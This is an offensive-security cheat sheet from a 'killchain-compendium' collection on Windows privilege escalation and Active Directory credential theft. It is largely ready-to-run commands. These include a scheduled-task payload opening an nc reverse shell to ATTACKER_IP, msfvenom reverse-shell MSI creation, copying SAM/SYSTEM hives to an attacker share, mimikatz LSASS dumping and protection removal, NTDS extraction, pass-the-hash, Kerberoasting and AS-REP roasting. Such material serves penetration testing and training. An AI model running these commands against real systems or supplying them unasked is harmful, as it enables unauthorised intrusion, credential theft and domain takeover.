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killchain-compendium/Post Exploitation/Windows/Windows PrivEsc.md

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Windows Privilege Escalation

Links

Account Types

  • Administrator local & domain
  • Standard local & domain
  • Guest
  • System, local system, final escalation
  • Local Service, got anonymous connections over network.
  • Network Service, default service account, authentication via network

Enumeration

Users & Groups

whoami /priv
net users
net users <username>
net localgroup
net localgroup <groupname>
query session
qwinsta

Files

System

hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  • Installed software, check for existing exploits
wmic product get name,version,vendor
  • Services
wmic service list brief | findstr  "Running"

Logfiles and Registry

cmdkey /list
  • Keys containing passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

AD Credentials

  • Check AD's NTDS (configuration database), SYSVOL (policy distribution through the domain)
Get-ADUser -Filter * -Properties * | select Name,SamAccountName,Description

NTDS

  • Check user description of AD users
  • NTDS consists of three tables
    • Schema
    • Link
    • Data type
  • Located under C:\Windows\NTDS
  • File is locked by AD at runtime
  • A System Bootkey is need to dump the NTDS

Exploit

  • Use found credentials
runas /savecred /user:<domain\user> reverse_shell.exe

DLL Hijacking

Unquoted Service Path

Token Impersonation

  • SeImpersonatePrivilege is necessary, check via whoami priv
  • Hot Potato is best before Server 2019 and Windows 10 (version 1809)
  • Potatos
  • itm4n

Schedules Tasks

  • schtasks and schtasks /query /tn %TASK_NAME% /fo list /v
  • Autoruns64.exe

MSI Elevated Installer

accesschk64 Permissions

  • Check access to files and folders
accesschk64 -wvu "file.exe"
  • If permission SERVICE_CHANGE_CONFIG is set
 sc config <service> binpath="net localgroup administrators user /add"
  • Service escalation
  • Any other binary works as well. Copy the compiled portable executable from the service_escalation onto the binary path.Restart the service afterwards.

accesschk64 for Services

accesschk64 -qlc "service.exe"
  • If permission SERVICE_ALL_ACCESS is set it is configurable upload a reverse shell
icacls C:\Windows\Temp\shell.exe /grant Everyone:F
  • Reconfigure and restart service
sc config TheService binPath= "C:\Path\to\shell.exe" obj= LocalSystem
sc stop TheService
sc start TheService

Startup Application

  • Put reverse shell instead of an executable inside C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Password Mining

  • Set up metasploit
use auxiliary/server/capture/http_basic
set srvport 7777
set uripath pass
  • Visit site on target

Unattended Windows Installation

  • Investigate the following paths to potentially find user credentials
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
  • Watch out for the <Credentials> tags

Powershell History file

Get-Content %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Internet Information Services (IIS)

  • Default web server on windows
  • Paths containing credentials are the following
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Putty

  • Saved proxy password credentials may be found via
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "ProxyPassword" /s

schtask and icacls

  • Check schtasks /query /tn %TASK_NAME% /fo list /v
  • Check script for scheduled tasks, F means full access
icacls <PathToScript>
  • Put payload inside the script
echo "C:\tmp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" > <PathToSript>
  • Run the task
schtasks /run /tn <taskname>

Always Installs Elevated

  • These should be set
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
  • Craft *.msi file with a payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f msi -o wizard.msi
  • Upload and execute via
msiexec /quiet /qn /i C:\Windows\Temp\wizard.msi

Service Misconfiguration

  • Check services, watch out for BINARY_PATH_NAME and SERVICE_START_NAME
sc qc apphostsvc
  • Check found permissions via
icacls <BINARY_PATH_NAME>
  • If the service binary path is writeable move the payload to its path and grant permissions
icacls <Payload_Service.exe> /grant Everyone:F

sc stop <service>
sc start <service>
  • Catch the reverse shell service

Others ways are:

  • Discretionary Access Control (DACL) can be opened via right click on the service and go to properties
  • All services are stored under HKLM\SYSTEM\CurrentControlSet\Services\

Unquoted Service Path

  • If BINARY_PATH_NAME spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.
  • A created directory at install time inherits the permissions from its parent. Check it via
icacls <directory>
  • Use service-exe payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path
  • Set permissions
icacls C:\Path/to/service.exe /grant Everyone:F

Permissions

SeBackup / Restore

  • If SeBackup / SeRestore (rw on all files) is set an elevated cmd.exe may be opened
  • Download SAM and System hashes
reg save hklm\system C:\Windows\Temp\system.hive
reg save hklm\sam    C:\Windows\Temp\sam.hive
  • or
copy C:\Windows\System32\config\sam \\ATTACKER_IP\
  • Start smb server on attack machine
copy C:\Windows\Temp\sam.hive \\ATTACKER_IP\
copy C:\Windows\Temp\system.hive \\ATTACKER_IP\
  • Dump the hashes
secretsdump.py -sam sam.hive -system system.hive LOCAL
  • or meterpreter on target
hashdump
  • Use pass the hash to login
psexec.py -hashes <hash> administrator@$TARGET_IP

SeTakeOwnership

  • If SeTakeOwnership is set one can take ownership of every file or service.
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant <user>:F
copy cmd.exe utilman.exe
  • Log out, on the Login screen click on Ease of Access

SeImpersonate / SeAssignPrimaryToken

  • It is a rouge potato
  • Execute process as another user
  • Service accounts operate through impersonation
  • Check privileges via whoami /priv for these
  • Object Exporter Identifier (OXID) is executed as via DCOM as a resolver on port 135 to socket of attacker
socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
  • Catch the potatoe executable from target via netcat

Volume Shadow Copy Service

  • Take a look at the volumes at
vssadmin list shadows
  • Copy sam and system from the shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\

Dump LSASS

  • If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking lsass.exe -> creat dumpfile

  • Use procdump.exe from sysinternal suite as an alternative to tskmgr.exe

  • Extract the dump via mimikatz

privilege::debug
sekurlsa::logonpasswords

LSASS Protection

The bypass is needed most of the time in order to dump passwords

  • If the dump cannot be created because it is protected change RunAsPPL DWORD to 0 under
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
  • Alternatively, use mimikatz
privilege::debug
!+
!processprotect /process:lsass.exe /remove
  • +! calls mimidrv.sys, therefore mimikatz has to be executed inside the same directory the this file lies

Windows Credential Manager

  • Can be found via Control Pane -> User Accounts -> Credential Manager
  • Alternatively, command line can be used
vaultcmd /list
vaultcmd /listproperties:"Web Credentials"
vaultcmd /listcreds:"web credentials"

powershell -ex bypass
Get-WebCredentials
  • Via mimikatz if administrative permissions have been gained
privilege::debug
sekurlsa::credman

Ntdsutil

  • If administrative permissions on the DC have been gained this can be done
  • Used to maintain the AD database, delete objects, snapshotting, set Directory Service Restore Mode (DSRM)

Locally extracting ntds.dit

  • This can be done to gather the system boot key

  • No AD credentials are needed

  • Three files are needed

    • C:\Windows\NTDS\ntds.dit
    • C:\Windows\System32\config\SYSTEM
    • C:\Windows\System32\config\SECURITY

  • Locally dumping all three needed file is done via

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\Windows\Temp\ntds' q q"
  • Use secretsdump to extract ntds.dit
secretsdump.py -security ./SECURITY -system ./SYSTEM -ntds ./ntds.dit local

Remotely dumping ntds

  • Needs the following AD credentials

    • Replicating Directory Changes
    • Replicating Directory Changes All
    • Replicating Directory Changes in Filtered Set

  • Mimikatz or impacket can be used to gain credentials

  • Impacket's secretsdump.py via

secretsdump.py -just-dc <domain>/<AD_Admin_User>@$DC_IP
secretsdump.py -just-dc-ntlm <domain>/<AD_Admin_User>@$DC_IP

Local Administration Password Solution (LAPS)

  • This is possible if the user which credentials we posses is member of the group to make password changes

  • Replaces GPP, see below

  • There are two interesting attributes

    • ms-mcs-AdmPwd contains plain text password of the local Administrator
    • ms-mcs-AdmPwdExpirationTime contains the expiration date of the admin password

  • admpwd.dll is used to update the password inside ms-mcs-AdmPwd

    • If LAPS is enabled the dll can be found in C:\Program Files\LAPS\CSE

  • List the cmdlets for LAPS

Get-Command *AdmPwd*
  • Find the Organisational Unit with extended rights and take a look at the group under ExtendedRightsHolder in the output
Find-AdmPwdExtendedRights -Identity <OU>
  • Enumerate which hosts have LAPS enabled
  • Impersonate the user and execute the following which displays the password
Get-AdmPwdPassword -ComputerName <targethost>
  • Use the property name displayed under ExtendedRightsHolder to enumerate groups and their users
net groups <ExtendedRightsHolder>
net user <GroupMemberUsername>

Group Policy Preferences

Kerberoasting

  • Inital (low level) credentials are needed
  • Service Principal Name (SPN) account must be known, e.g. from web IIS user or SQL users
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user>
  • Take a look at Name in the output and use it to query a TGS ticket
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user> -request-user <SPN>
  • Crack the kerberos hash
hashcat -m 13100 -a0 hash.txt --wordlist <wordlist>

AS-REP Roasting

  • Do not require Kerberos pre-authentication must be set on the AD user's account login settings. A password is used instead
  • A list of potential users with this configured setting should be gathered
GetNPUsers.py -dc-ip $DC_IP <domain>/ -usersfile users.txt